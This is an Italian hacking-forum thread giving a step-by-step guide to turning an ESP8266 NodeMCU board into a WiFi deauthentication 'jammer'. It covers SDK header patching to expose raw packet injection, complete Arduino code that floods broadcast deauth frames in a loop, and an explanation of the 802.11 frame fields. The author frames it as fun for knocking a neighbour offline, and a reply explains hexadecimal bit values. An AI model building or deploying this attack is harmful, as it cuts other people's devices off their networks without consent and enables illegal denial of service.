Discussione [GUIDA] Wifi Jammer con ESP8266

insidehackers

Utente Gold
28 Giugno 2013
641
30
222
318
Ultima modifica:
E' da tanto che non pubblico una guida su inforge oggi ho deciso di scrivere questa guida per chi come me è ha unito la passione per l'hacking e l'elettronica.

Il modulo che ho usato io lo puoi trovare su amazon al costo di circa 8 euro.
AZDelivery NodeMCU esp8266 esp-12e WIFI Lolin Modulo V3

861esp8266_1.jpg



Getting Started - Driver, Arduino IDE

Come primo step devi installare i driver per la connessione seriale, scarica i driver da qui:
-------> Windows CH340 Driver

Ora scarichia e installa l'IDE di Arduino:
https://www.arduino.cc/en/Main/Software

Una volta completata l'installazione dell'ide apri il menu File > Impostazioni, Affianco alla voce "URL aggiuntive per il Gestore Schede" inseriamo l'url "http://arduino.esp8266.com/stable/package_esp8266com_index.json" senza apici, ora clicca Ok e vai dinuovo nel menu il Strumenti > Scheda: > Gestore Schede, nella nuova finestra cerchiamo "esp8266" e installiamo la versione 2.0.0

73c2348a-0054-11e7-8c4a-56a61930c0a6.JPG


ATTENZIONE installando un versione diversa non sarà possibile inviare pacchetti Management , ma solo Data frame e Beacon Frame.
Completata l'installazione, vai nella cartella che contiene i file di arduino dal menu File > Impostazioni e clicca come da immagine

86a0b36a-0054-11e7-8aa0-d0501058909a.JPG


- Vai nella cartella packages > esp8266 > hardware > esp8266 > 2.0.0 > tools > sdk > include
- Apri il file user_interface.h con un editor di testo
- In fondo a tutto prima di #endif aggiungi queste righe:

C:
typedef void (*freedom_outside_cb_t)(uint8 status);
int wifi_register_send_pkt_freedom_cb(freedom_outside_cb_t cb);
void wifi_unregister_send_pkt_freedom_cb(void);
int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq);

Salva e chiudi.





Arduino IDE Code

Apri arduino IDE e setta la board e la porta COM, da Strumenti>Scheda: NodeMCU 1.0(ESP-12E Module) e Strumenti>Porta>COMx

C++:
#include <ESP8266WiFi.h>
extern "C" {
  #include "user_interface.h"
}

uint16_t seq = 0x00;
// Beacon Packet buffer
uint8_t packet[128] = { 0xc0, 0x00,
                        0x3a, 0x01,
                /*4*/   0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                /*10*/  0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5,
                /*16*/  0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5,
                /*22*/  0x00, 0x00,
                /*24*/  0x07, 0x00
                };                     
uint8_t packet2[128] = { 0xc0, 0x00,
                        0x00, 0x00,
                /*4*/   0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                /*10*/  0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5,
                /*16*/  0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5,
                /*22*/  0x00, 0x00,
                /*24*/  0x07, 0x00
                };

void setup() {
  delay(500);
  wifi_set_opmode(STATION_MODE);
  wifi_promiscuous_enable(1);
  wifi_set_channel(10);
}



void loop() {
    while(true){
      wifi_send_pkt_freedom(packet, 57, 0);
      wifi_send_pkt_freedom(packet2, 57, 0);
      wifi_send_pkt_freedom(packet, 57, 0);
      wifi_send_pkt_freedom(packet2, 57, 0);
      wifi_send_pkt_freedom(packet, 57, 0);
      wifi_send_pkt_freedom(packet2, 57, 0);
      delay(2);
    }
}


Prima di divertirci e scollegare il vicino, bisogna impostare il bssid e il mac della vittima oppure usare il mac ff:ff:ff:ff:ff:ff cioè il destinatario del pacchetto di deautenticazione sarà Broadcast ovvero tutti i dispositivi assiociati a BSSID, il pacchetto da inviare è un array di uint8_t (Unsigned Int).

La struttura del frame:


uint8_t packet[128] = {
0xc0, 0x00, //Frame Control
0x3a, 0x01, //Duration
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //Indirizzo Destinazione in questo caso 0xff, 0xff, 0xff, 0xff, 0xff, 0xff Broadcast
0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5, //Indirizzo Sorgente (MAC ADDRESS del router ad esempio)
0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5, //BSSID Uguale a sopra
0x00, 0x00, //Sequence Control
0x07, 0x00 //Reason Code
};

cwap-mac-framecontrol-04.png


1. Protocol Version (2-bits)
Questi bit vengono usati per indicare quale versione del protocollo 802.11 è utilizzato dal frame, Sempre settato su "0" perchè esiste una sola versione al momento.

2. Type (2-bits)
Ci sono 3 tipi di frame wireless standard (Management, Control, Data). Un frame di deautenticazione è di tipo Management.
00– Management Frame
01– Control Frame
10– Data Frame
11– Reserved

3. Subtype (4-bits)
Ci sono vari tipi di sottotipi di ogni tipo, 4 bit sono necessari per differenziarli.
cwap-mac-framecontrol-06.png


4. To DS (1-bit)
Quando settato a 1 indica che i data frame partono dal client (STATION) al Distribution System (DS) cioè il router/modem

5. From DS (1-bit)
Quando settato a 1indica che i data frame vanno dal (DS) a (STA)

Tornando alla struttura fondamentale del nostro frame di deautenticazione settiamo il mac address di destinazione che come già detto può essere Broadcast(ff:ff:ff:ff:ff:ff) o il mac di un client,
uint8_t packet[128] = {
0xc0, 0x00, //Frame Control
0x3a, 0x01, //Duration
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //Indirizzo Destinazione in questo caso 0xff, 0xff, 0xff, 0xff, 0xff, 0xff Broadcast
0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5, //Indirizzo Sorgente (MAC ADDRESS del router ad esempio)
0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5, //BSSID Uguale a sopra
0x00, 0x00, //Sequence Control
0x07, 0x00 //Reason Code
};
Sotto i due mac uguali che sono dell'access point (router) nel tuo caso dovrai impostare quello del tuo router,

Importantissimo da settare è il canale che deve essere uguale a quello dell'access point, edita il codice e imposta il tuo canale (Ricorda i canali vanno da 1 a 13):
void setup() {
delay(500);
wifi_set_opmode(STATION_MODE);
wifi_promiscuous_enable(1);
wifi_set_channel(10);
}


Infine il Reason Code ci indica la motivazione della deautenticazione, in questo caso impostato a 0x0007
cwap-mgmt-deauth-01.png


cwap-mgmt-deauth-02.png



Compila e carica lo sketch e goditi il tuo jammer.
 
Come si fanno ad ingrandire le immagini? O forse sono io che ho gli occhi stanchi..
Bella guida, finalmente vita in questa sezione! Dovrò farne una anche io :ruloz:

Aggiungerei la spiegazione ai vari 0xf5, 0xa5 che magari non sono risaputi.

Spiegazione breve:

Si lavora in binario ma per noi (umani) è più semplice lavorare in esadecimale. Quindi se io volessi attivare un determinato bit in un registro da 8 bit dovrei forzare quel bit ad 1. Se il registro è a 8 bit (xxxx.xxxx) in esadecimale il massimo numero esprimibile è FF (cioè 1111.1111 ).
Per scrivere 1 nel sesto bit, ad esempio vado ad inviare 0x20.
Per scrivere 1 nel sesto, settimo, quarto e terzo bit devo inviare 0x6C .

Adesso sarebbe più facile leggere il reason code (o capire anche il resto delle cose).
 
  • Mi piace
Reazioni: insidehackers